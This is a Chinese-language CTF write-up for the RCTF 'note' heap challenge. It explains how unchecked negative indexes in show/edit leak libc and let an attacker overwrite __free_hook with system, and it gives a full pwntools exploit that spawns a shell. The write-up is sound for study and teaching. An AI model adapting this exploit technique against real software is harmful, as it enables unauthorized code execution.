RCTF pwn-note (非预期解?)
前几天打了RCTF 整体来说比较难,pwn就做了 一个note 逆向也没做出来....
源文件exp及idb下载地址 https://files.cnblogs.com/files/nigacat/note_attachment.rar
首先IDA分析,发现stripped了plt表,得手动猜函数名,重命名
典型的菜单堆题目 ,其中menu new edit delete show 已经被我重命名过,方便后续分析
题目 给的glibc-2.29 以为要考察新增的防护机制绕过
new函数
其中的bss段的几个数据和数组我也重命名了 ,方便分析
money 只允许我们申请大小为1,2的堆块 ,实际上是malloc(0x20)
show和edit函数
发现是通过输入的v2进行数组索引进行的读取写入操作
其中sub_137c应该是read 函数
题目 给的glibc-2.29 以为要考察新增的防护机制绕过
然后就围绕这个想了半天。。。。。。
后来fuzzing 测试发现show()传入一个负数时会导致泄漏 ,edit也是一样的道理。
show(-5)时 内存布局如下图
查看一下libc的偏移计算出libc_base
然后直接edit(-5)对应的size足够使用,写入free_hook 然后在将free_hook改为system
最后free('/bin/sh')就getshell了
具体调试过程就不写了 exp文件里面会有
最后给出exp
修复的idb和文件可以在链接中下载
#洞是我手测的,之前看是给点glibc2.29以为是考新增的检测机制 #show edit 函数中对于输入的负数没做检查,导致可以读取ptr_list更低地址的数据,造成了泄露libc, #然后利用edit写入指针,可以实现任意地址写 #结合flag内容,感觉有点非预期...... #题目stripped 了plt表 得手动猜一下某些函数函数名 from pwn import * from time import sleep context.log_level='debug' p=process('./note') #p=remote('124.156.135.103',6004) #p.interactive() #libc=ELF('./libc.so.6') libc=ELF('./libc-2.27.so') def new(index,size): p.sendlineafter('Choice: ',str(1)) p.sendlineafter('Index: ',str(index)) p.sendlineafter('Size: ',str(size)) def delete(index): p.sendlineafter('Choice: ',str(2)) p.sendlineafter('Index: ',str(index)) def show(index): p.sendlineafter('Choice: ',str(3)) p.sendlineafter('Index: ',str(index)) def edit(index,content): p.sendlineafter('Choice: ',str(4)) p.sendlineafter('Index: ',str(index)) p.sendlineafter('Message: ',content) sleep(2) #money_addr=0x4010 #ptr_addr=0x4080 #price_list_addr=0x4090 #size_list_addr=0x4088 #1.to leak #v3可为负数 导致了漏洞 #函数原型:result = read(1LL, *((_QWORD *)&ptr_list + 3 * v3), *((_QWORD *)&size_list + 3 *v3)); show('-5') libc_base=u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdout_'] print"libc_base:"+hex(libc_base) #pause() system_addr=libc.sym['system']+libc_base bin_sh_addr=libc.search('/bin/sh\x00').next()+libc_base #2 to change free_hook to system #v2可为负数 #函数原型:sub_137C((__int64)&v3,*((_QWORD *)&ptr_list + 3 * v2),(_BYTE *)(unsigned int)*((_QWORD *)&size_list + 3 * v2)); payload=p64(libc.sym['__free_hook']+libc_base)+p64(0x1000) payload+=p64(0)+p64(libc.sym['_IO_2_1_stdout_']+libc_base) payload+=p64(0)*2 payload+=p64(0)*2+p64(0)*7+p64(bin_sh_addr) edit(-5,payload) edit(-5,p64(system_addr)) delete(0)#0位置为bin_sh的地址相当于触发,system('/bin/sh') p.interactive()